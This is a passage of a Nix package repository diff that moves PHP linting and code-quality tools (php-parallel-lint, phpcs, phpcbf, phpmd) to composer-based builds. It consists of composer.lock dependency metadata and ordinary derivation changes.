"https://github.com/sebastianbergmann/version", + "support": { + "issues": "https://github.com/sebastianbergmann/version/issues", + "source": "https://github.com/sebastianbergmann/version/tree/3.0.2" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-09-28T06:39:44+00:00" + }, + { + "name": "squizlabs/php_codesniffer", + "version": "3.9.0", + "source": { + "type": "git", + "url": "https://github.com/PHPCSStandards/PHP_CodeSniffer.git", + "reference": "d63cee4890a8afaf86a22e51ad4d97c91dd4579b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/PHPCSStandards/PHP_CodeSniffer/zipball/d63cee4890a8afaf86a22e51ad4d97c91dd4579b", + "reference": "d63cee4890a8afaf86a22e51ad4d97c91dd4579b", + "shasum": "" + }, + "require": { + "ext-simplexml": "*", + "ext-tokenizer": "*", + "ext-xmlwriter": "*", + "php": ">=5.4.0" + }, + "require-dev": { + "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0 || ^8.0 || ^9.3.4" + }, + "bin": [ + "bin/phpcbf", + "bin/phpcs" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.x-dev" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Greg Sherwood", + "role": "Former lead" + }, + { + "name": "Juliette Reinders Folmer", + "role": "Current lead" + }, + { + "name": "Contributors", + "homepage": "https://github.com/PHPCSStandards/PHP_CodeSniffer/graphs/contributors" + } + ], + "description": "PHP_CodeSniffer tokenizes PHP, JavaScript and CSS files and detects violations of a defined set of coding standards.", + "homepage": "https://github.com/PHPCSStandards/PHP_CodeSniffer", + "keywords": [ + "phpcs", + "standards", + "static analysis" + ], + "support": { + "issues": "https://github.com/PHPCSStandards/PHP_CodeSniffer/issues", + "security": "https://github.com/PHPCSStandards/PHP_CodeSniffer/security/policy", + "source": "https://github.com/PHPCSStandards/PHP_CodeSniffer", + "wiki": "https://github.com/PHPCSStandards/PHP_CodeSniffer/wiki" + }, + "funding": [ + { + "url": "https://github.com/PHPCSStandards", + "type": "github" + }, + { + "url": "https://github.com/jrfnl", + "type": "github" + }, + { + "url": "https://opencollective.com/php_codesniffer", + "type": "open_collective" + } + ], + "time": "2024-02-16T15:06:51+00:00" + }, + { + "name": "theseer/tokenizer", + "version": "1.2.2", + "source": { + "type": "git", + "url": "https://github.com/theseer/tokenizer.git", + "reference": "b2ad5003ca10d4ee50a12da31de12a5774ba6b96" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/theseer/tokenizer/zipball/b2ad5003ca10d4ee50a12da31de12a5774ba6b96", + "reference": "b2ad5003ca10d4ee50a12da31de12a5774ba6b96", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-tokenizer": "*", + "ext-xmlwriter": "*", + "php": "^7.2 || ^8.0" + }, + "type": "library", + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Arne Blankerts", + "email": "arne@blankerts.de", + "role": "Developer" + } + ], + "description": "A small library for converting tokenized PHP source code into XML and potentially other formats", + "support": { + "issues": "https://github.com/theseer/tokenizer/issues", + "source": "https://github.com/theseer/tokenizer/tree/1.2.2" + }, + "funding": [ + { + "url": "https://github.com/theseer", + "type": "github" + } + ], + "time": "2023-11-20T00:12:19+00:00" + } + ], + "aliases": [], + "minimum-stability": "stable", + "stability-flags": [], + "prefer-stable": false, + "prefer-lowest": false, + "platform": { + "php": ">=5.3.0", + "ext-json": "*" + }, + "platform-dev": [], + "plugin-api-version": "2.6.0" +} diff --git a/pkgs/development/php-packages/php-parallel-lint/default.nix b/pkgs/development/php-packages/php-parallel-lint/default.nix index e4977490c5180..fbd6e264e1afc 100644 --- a/pkgs/development/php-packages/php-parallel-lint/default.nix +++ b/pkgs/development/php-packages/php-parallel-lint/default.nix @@ -1,48 +1,27 @@ -{ mkDerivation, fetchFromGitHub, makeWrapper, lib, php, php81 }: -let +{ fetchFromGitHub +, lib +, php +}: + +php.buildComposerProject (finalAttrs: { pname = "php-parallel-lint"; - version = "1.3.2"; -in -mkDerivation { - inherit pname version; + version = "1.3.2.999"; src = fetchFromGitHub { owner = "php-parallel-lint"; repo = "PHP-Parallel-Lint"; - rev = "v${version}"; - # `.gitattibutes` exclude `box.json` from the archive produced git. - forceFetchGit = true; - sha256 = "SPP1ynxJad2m5wknGt8z94fW7Ucx8nqLvwZVmlylOgM="; + rev = "539292fea03d718cc86e7137ad72ea35b694f2bf"; + hash = "sha256-VIBuS4PwRt20Ic5gYAXTv8p/5Nq/0B3VwMcp9zKbu5U="; }; - nativeBuildInputs = [ - makeWrapper - php.packages.composer - # box is only available for PHP ≥ 8.1 but the purpose of this tool is to validate - # that project does not use features not available on older PHP versions. - php81.packages.box - ]; - - buildPhase = '' - runHook preBuild - composer dump-autoload - box compile - runHook postBuild - ''; - - installPhase = '' - runHook preInstall - mkdir -p $out/bin - install -D parallel-lint.phar $out/libexec/php-parallel-lint/php-parallel-lint.phar - makeWrapper ${php}/bin/php $out/bin/php-parallel-lint \ - --add-flags "$out/libexec/php-parallel-lint/php-parallel-lint.phar" - runHook postInstall - ''; + composerLock = ./composer.lock; + vendorHash = "sha256-PHQ0N1eFCM4s/aPVpTsyZN5gnQpNe9Wfs6CG2RNxxbk="; - meta = with lib; { + meta = { description = "Tool to check syntax of PHP files faster than serial check with fancier output"; - license = licenses.bsd2; homepage = "https://github.com/php-parallel-lint/PHP-Parallel-Lint"; - maintainers = with maintainers; [ ] ++ teams.php.members; + license = lib.licenses.bsd2; + mainProgram = "parallel-lint"; + maintainers = lib.teams.php.members; }; -} +}) diff --git a/pkgs/development/php-packages/phpcbf/default.nix b/pkgs/development/php-packages/phpcbf/default.nix deleted file mode 100644 index 41f860d6e073e..0000000000000 --- a/pkgs/development/php-packages/phpcbf/default.nix +++ /dev/null @@ -1,35 +0,0 @@ -{ mkDerivation, fetchurl, lib, php, makeWrapper }: - -let - pname = "phpcbf"; - version = "3.7.2"; -in -mkDerivation { - inherit pname version; - - src = fetchurl { - url = "https://github.com/squizlabs/PHP_CodeSniffer/releases/download/${version}/phpcbf.phar"; - sha256 = "sha256-TspzKpl98IpMl+QyZuuBIvkW05uwAqAAYA/dU5P07+E="; - }; - - dontUnpack = true; - - nativeBuildInputs = [ makeWrapper ]; - - installPhase = '' - runHook preInstall - mkdir -p $out/bin - install -D $src $out/libexec/phpcbf/phpcbf.phar - makeWrapper ${php}/bin/php $out/bin/phpcbf \ - --add-flags "$out/libexec/phpcbf/phpcbf.phar" - runHook postInstall - ''; - - meta = with lib; { - changelog = "https://github.com/squizlabs/PHP_CodeSniffer/releases/tag/${version}"; - description = "PHP coding standard beautifier and fixer"; - license = licenses.bsd3; - homepage = "https://squizlabs.github.io/PHP_CodeSniffer/"; - maintainers = with maintainers; [ cmcdragonkai ] ++ teams.php.members; - }; -} diff --git a/pkgs/development/php-packages/phpcs/default.nix b/pkgs/development/php-packages/phpcs/default.nix deleted file mode 100644 index 84e9effbc159d..0000000000000 --- a/pkgs/development/php-packages/phpcs/default.nix +++ /dev/null @@ -1,35 +0,0 @@ -{ mkDerivation, fetchurl, makeWrapper, lib, php }: - -let - pname = "phpcs"; - version = "3.7.2"; -in -mkDerivation { - inherit pname version; - - src = fetchurl { - url = "https://github.com/squizlabs/PHP_CodeSniffer/releases/download/${version}/phpcs.phar"; - sha256 = "sha256-IEIUwepbqBT7CyYIwZzKLBC/X/zJ8OPUw0qtwBeVF7c="; - }; - - dontUnpack = true; - - nativeBuildInputs = [ makeWrapper ]; - - installPhase = '' - runHook preInstall - mkdir -p $out/bin - install -D $src $out/libexec/phpcs/phpcs.phar - makeWrapper ${php}/bin/php $out/bin/phpcs \ - --add-flags "$out/libexec/phpcs/phpcs.phar" - runHook postInstall - ''; - - meta = with lib; { - changelog = "https://github.com/squizlabs/PHP_CodeSniffer/releases/tag/${version}"; - description = "PHP coding standard tool"; - license = licenses.bsd3; - homepage = "https://squizlabs.github.io/PHP_CodeSniffer/"; - maintainers = with maintainers; [ javaguirre ] ++ teams.php.members; - }; -} diff --git a/pkgs/development/php-packages/phpmd/composer.lock b/pkgs/development/php-packages/phpmd/composer.lock new file mode 100644 index 0000000000000..11b9cffec6bde --- /dev/null +++ b/pkgs/development/php-packages/phpmd/composer.lock @@ -0,0 +1,1235 @@ +{ + "_readme": [ + "This file locks the dependencies of your project to a known state", + "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", + "This file is @generated automatically" + ], + "content-hash": "be6e60a56d4909a5b5673642a5aff4ff", + "packages": [ + { + "name": "composer/pcre", + "version": "3.1.1", + "source": { + "type": "git", + "url": "https://github.com/composer/pcre.git", + "reference": "00104306927c7a0919b4ced2aaa6782c1e61a3c9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/composer/pcre/zipball/00104306927c7a0919b4ced2aaa6782c1e61a3c9", + "reference": "00104306927c7a0919b4ced2aaa6782c1e61a3c9", + "shasum": "" + }, + "require": { + "php": "^7.4 || ^8.0" + }, + "require-dev": { + "phpstan/phpstan": "^1.3", + "phpstan/phpstan-strict-rules": "^1.1", + "symfony/phpunit-bridge": "^5" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.x-dev" + } + }, + "autoload": { + "psr-4": { + "Composer\\Pcre\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jordi Boggiano", + "email": "j.boggiano@seld.be", + "homepage": "http://seld.be" + } + ], + "description": "PCRE wrapping library that offers type-safe preg_* replacements.", + "keywords": [ + "PCRE", + "preg", + "regex", + "regular expression" + ], + "support": { + "issues": "https://github.com/composer/pcre/issues", + "source": "https://github.com/composer/pcre/tree/3.1.1" + }, + "funding": [ + { + "url": "https://packagist.com", + "type": "custom" + }, + { + "url": "https://github.com/composer", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/composer/composer", + "type": "tidelift" + } + ], + "time": "2023-10-11T07:11:09+00:00" + }, + { + "name": "composer/xdebug-handler", + "version": "3.0.3", + "source": { + "type": "git", + "url": "https://github.com/composer/xdebug-handler.git", + "reference": "ced299686f41dce890debac69273b47ffe98a40c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/composer/xdebug-handler/zipball/ced299686f41dce890debac69273b47ffe98a40c", + "reference": "ced299686f41dce890debac69273b47ffe98a40c", + "shasum": "" + }, + "require": { + "composer/pcre": "^1 || ^2 || ^3", + "php": "^7.2.5 || ^8.0", + "psr/log": "^1 || ^2 || ^3" + }, + "require-dev": { + "phpstan/phpstan": "^1.0", + "phpstan/phpstan-strict-rules": "^1.1", + "symfony/phpunit-bridge": "^6.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Composer\\XdebugHandler\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "John Stevenson", + "email": "john-stevenson@blueyonder.co.uk" + } + ], + "description": "Restarts a process without Xdebug.", + "keywords": [ + "Xdebug", + "performance" + ], + "support": { + "irc": "irc://irc.freenode.org/composer", + "issues": "https://github.com/composer/xdebug-handler/issues", + "source": "https://github.com/composer/xdebug-handler/tree/3.0.3" + }, + "funding": [ + { + "url": "https://packagist.com", + "type": "custom" + }, + { + "url": "https://github.com/composer", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/composer/composer", + "type": "tidelift" + } + ], + "time": "2022-02-25T21:32:43+00:00" + }, + { + "name": "pdepend/pdepend", + "version": "2.16.2", + "source": { + "type": "git", + "url": "https://github.com/pdepend/pdepend.git", + "reference": "f942b208dc2a0868454d01b29f0c75bbcfc6ed58" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/pdepend/pdepend/zipball/f942b208dc2a0868454d01b29f0c75bbcfc6ed58", + "reference": "f942b208dc2a0868454d01b29f0c75bbcfc6ed58", + "shasum": "" + }, + "require": { + "php": ">=5.3.7", + "symfony/config": "^2.3.0|^3|^4|^5|^6.0|^7.0", + "symfony/dependency-injection": "^2.3.0|^3|^4|^5|^6.0|^7.0", + "symfony/filesystem": "^2.3.0|^3|^4|^5|^6.0|^7.0", + "symfony/polyfill-mbstring": "^1.19" + }, + "require-dev": { + "easy-doc/easy-doc": "0.0.0|^1.2.3", + "gregwar/rst": "^1.0", + "squizlabs/php_codesniffer": "^2.0.0" + }, + "bin": [ + "src/bin/pdepend" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.x-dev" + } + }, + "autoload": { + "psr-4": { + "PDepend\\": "src/main/php/PDepend" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "description": "Official version of pdepend to be handled with Composer", + "keywords": [ + "PHP Depend", + "PHP_Depend", + "dev", + "pdepend" + ], + "support": { + "issues": "https://github.com/pdepend/pdepend/issues", + "source": "https://github.com/pdepend/pdepend/tree/2.16.2" + }, + "funding": [ + { + "url": "https://tidelift.com/funding/github/packagist/pdepend/pdepend", + "type": "tidelift" + } + ], + "time": "2023-12-17T18:09:59+00:00" + }, + { + "name": "psr/container", + "version": "2.0.2", + "source": { + "type": "git", + "url": "https://github.com/php-fig/container.git", + "reference": "c71ecc56dfe541dbd90c5360474fbc405f8d5963" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/container/zipball/c71ecc56dfe541dbd90c5360474fbc405f8d5963", + "reference": "c71ecc56dfe541dbd90c5360474fbc405f8d5963", + "shasum": "" + }, + "require": { + "php": ">=7.4.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Container\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common Container Interface (PHP FIG PSR-11)", + "homepage": "https://github.com/php-fig/container", + "keywords": [ + "PSR-11", + "container", + "container-interface", + "container-interop", + "psr" + ], + "support": { + "issues": "https://github.com/php-fig/container/issues", + "source": "https://github.com/php-fig/container/tree/2.0.2" + }, + "time": "2021-11-05T16:47:00+00:00" + }, + { + "name": "psr/log", + "version": "3.0.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/log.git", + "reference": "fe5ea303b0887d5caefd3d431c3e61ad47037001" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/log/zipball/fe5ea303b0887d5caefd3d431c3e61ad47037001", + "reference": "fe5ea303b0887d5caefd3d431c3e61ad47037001", + "shasum": "" + }, + "require": { + "php": ">=8.0.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Log\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interface for logging libraries", + "homepage": "https://github.com/php-fig/log", + "keywords": [ + "log", + "psr", + "psr-3" + ], + "support": { + "source": "https://github.com/php-fig/log/tree/3.0.0" + }, + "time": "2021-07-14T16:46:02+00:00" + }, + { + "name": "symfony/config", + "version": "v6.4.3", + "source": { + "type": "git", + "url": "https://github.com/symfony/config.git", + "reference": "206482ff3ed450495b1d5b7bad1bc3a852def96f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/config/zipball/206482ff3ed450495b1d5b7bad1bc3a852def96f", + "reference": "206482ff3ed450495b1d5b7bad1bc3a852def96f", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/filesystem": "^5.4|^6.0|^7.0", + "symfony/polyfill-ctype": "~1.8" + }, + "conflict": { + "symfony/finder": "<5.4", + "symfony/service-contracts": "<2.5" + }, + "require-dev": { + "symfony/event-dispatcher": "^5.4|^6.0|^7.0", + "symfony/finder": "^5.4|^6.0|^7.0", + "symfony/messenger": "^5.4|^6.0|^7.0", + "symfony/service-contracts": "^2.5|^3", + "symfony/yaml": "^5.4|^6.0|^7.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Config\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Helps you find, load, combine, autofill and validate configuration values of any kind", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/config/tree/v6.4.3" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-29T13:26:27+00:00" + }, + { + "name": "symfony/dependency-injection", + "version": "v6.4.3", + "source": { + "type": "git", + "url": "https://github.com/symfony/dependency-injection.git", + "reference": "6871811c5a5c5e180244ddb689746446db02c05b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/dependency-injection/zipball/6871811c5a5c5e180244ddb689746446db02c05b", + "reference": "6871811c5a5c5e180244ddb689746446db02c05b", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "psr/container": "^1.1|^2.0", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/service-contracts": "^2.5|^3.0", + "symfony/var-exporter": "^6.2.10|^7.0" + }, + "conflict": { + "ext-psr": "<1.1|>=2", + "symfony/config": "<6.1", + "symfony/finder": "<5.4", + "symfony/proxy-manager-bridge": "<6.3", + "symfony/yaml": "<5.4" + }, + "provide": { + "psr/container-implementation": "1.1|2.0", + "symfony/service-implementation": "1.1|2.0|3.0" + }, + "require-dev": { + "symfony/config": "^6.1|^7.0", + "symfony/expression-language": "^5.4|^6.0|^7.0", + "symfony/yaml": "^5.4|^6.0|^7.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\DependencyInjection\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Allows you to standardize and centralize the way objects are constructed in your application", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/dependency-injection/tree/v6.4.3" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-30T08:32:12+00:00" + }, + { + "name": "symfony/deprecation-contracts", + "version": "v3.4.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/deprecation-contracts.git", + "reference": "7c3aff79d10325257a001fcf92d991f24fc967cf" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/7c3aff79d10325257a001fcf92d991f24fc967cf", + "reference": "7c3aff79d10325257a001fcf92d991f24fc967cf", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.4-dev" + }, + "thanks": { + "name": "symfony/contracts", + "url": "https://github.com/symfony/contracts" + } + }, + "autoload": { + "files": [ + "function.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "A generic function and convention to trigger deprecation notices", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/deprecation-contracts/tree/v3.4.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2023-05-23T14:45:45+00:00" + }, + { + "name": "symfony/filesystem", + "version": "v6.4.3", + "source": { + "type": "git", + "url": "https://github.com/symfony/filesystem.git", + "reference": "7f3b1755eb49297a0827a7575d5d2b2fd11cc9fb" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/filesystem/zipball/7f3b1755eb49297a0827a7575d5d2b2fd11cc9fb", + "reference": "7f3b1755eb49297a0827a7575d5d2b2fd11cc9fb", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "symfony/polyfill-ctype": "~1.8", + "symfony/polyfill-mbstring": "~1.8" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Filesystem\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides basic utilities for the filesystem", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/filesystem/tree/v6.4.3" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-23T14:51:35+00:00" + }, + { + "name": "symfony/polyfill-ctype", + "version": "v1.29.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-ctype.git", + "reference": "ef4d7e442ca910c4764bce785146269b30cb5fc4" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/ef4d7e442ca910c4764bce785146269b30cb5fc4", + "reference": "ef4d7e442ca910c4764bce785146269b30cb5fc4", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "provide": { + "ext-ctype": "*" + }, + "suggest": { + "ext-ctype": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Ctype\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Gert de Pagter", + "email": "BackEndTea@gmail.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for ctype functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "ctype", + "polyfill", + "portable" + ], + "support": { + "source": "https://github.com/symfony/polyfill-ctype/tree/v1.29.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-29T20:11:03+00:00" + }, + { + "name": "symfony/polyfill-mbstring", + "version": "v1.29.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-mbstring.git", + "reference": "9773676c8a1bb1f8d4340a62efe641cf76eda7ec" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/9773676c8a1bb1f8d4340a62efe641cf76eda7ec", + "reference": "9773676c8a1bb1f8d4340a62efe641cf76eda7ec", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "provide": { + "ext-mbstring": "*" + }, + "suggest": { + "ext-mbstring": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Mbstring\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for the Mbstring extension", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "mbstring", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.29.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-29T20:11:03+00:00" + }, + { + "name": "symfony/service-contracts", + "version": "v3.4.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/service-contracts.git", + "reference": "fe07cbc8d837f60caf7018068e350cc5163681a0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/service-contracts/zipball/fe07cbc8d837f60caf7018068e350cc5163681a0", + "reference": "fe07cbc8d837f60caf7018068e350cc5163681a0", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "psr/container": "^1.1|^2.0" + }, + "conflict": { + "ext-psr": "<1.1|>=2" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.4-dev" + }, + "thanks": { + "name": "symfony/contracts", + "url": "https://github.com/symfony/contracts" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Contracts\\Service\\": "" + }, + "exclude-from-classmap": [ + "/Test/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Generic abstractions related to writing services", + "homepage": "https://symfony.com", + "keywords": [ + "abstractions", + "contracts", + "decoupling", + "interfaces", + "interoperability", + "standards" + ], + "support": { + "source": "https://github.com/symfony/service-contracts/tree/v3.4.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2023-12-26T14:02:43+00:00" + }, + { + "name": "symfony/var-exporter", + "version": "v6.4.3", + "source": { + "type": "git", + "url": "https://github.com/symfony/var-exporter.git", + "reference": "a8c12b5448a5ac685347f5eeb2abf6a571ec16b8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/var-exporter/zipball/a8c12b5448a5ac685347f5eeb2abf6a571ec16b8", + "reference": "a8c12b5448a5ac685347f5eeb2abf6a571ec16b8", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3" + }, + "require-dev": { + "symfony/var-dumper": "^5.4|^6.0|^7.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\VarExporter\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Allows exporting any serializable PHP data structure to plain PHP code", + "homepage": "https://symfony.com", + "keywords": [ + "clone", + "construct", + "export", + "hydrate", + "instantiate", + "lazy-loading", + "proxy", + "serialize" + ], + "support": { + "source": "https://github.com/symfony/var-exporter/tree/v6.4.3" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-23T14:51:35+00:00" + } + ], + "packages-dev": [ + { + "name": "easy-doc/easy-doc", + "version": "1.4.1", + "source": { + "type": "git", + "url": "https://github.com/kylekatarnls/php-easy-doc.git", + "reference": "194433f262ca2ba65089e095b574b7b81891f27b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/kylekatarnls/php-easy-doc/zipball/194433f262ca2ba65089e095b574b7b81891f27b", + "reference": "194433f262ca2ba65089e095b574b7b81891f27b", + "shasum": "" + }, + "require": { + "php": "^7.1 || ^8.0", + "simple-cli/simple-cli": "^1.4.1" + }, + "require-dev": { + "erusev/parsedown": "^1.7", + "phpunit/phpunit": "^7.5.18", + "symfony/process": "^4.4 || ^5.0" + }, + "bin": [ + "bin/easy-doc" + ], + "type": "library", + "autoload": { + "psr-4": { + "EasyDoc\\": "src/EasyDoc/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "KyleK", + "email": "kylekatarnls@gmail.com" + } + ], + "description": "An easy way to generate a static website from HTML/Markdown/RST/Pug/anything sources", + "support": { + "issues": "https://github.com/kylekatarnls/php-easy-doc/issues", + "source": "https://github.com/kylekatarnls/php-easy-doc/tree/master" + }, + "funding": [ + { + "url": "https://github.com/kylekatarnls", + "type": "github" + }, + { + "url": "https://opencollective.com/Carbon", + "type": "open_collective" + }, + { + "url": "https://tidelift.com/funding/github/packagist/nesbot/carbon", + "type": "tidelift" + } + ], + "time": "2020-05-24T10:15:11+00:00" + }, + { + "name": "gregwar/rst", + "version": "v1.0.6", + "target-dir": "Gregwar/RST", + "source": { + "type": "git", + "url": "https://github.com/Gregwar/RST.git", + "reference": "93c630ae18c47d8f7503230fa6ca39a79ad3c598" + }, + "dist": { + "type": 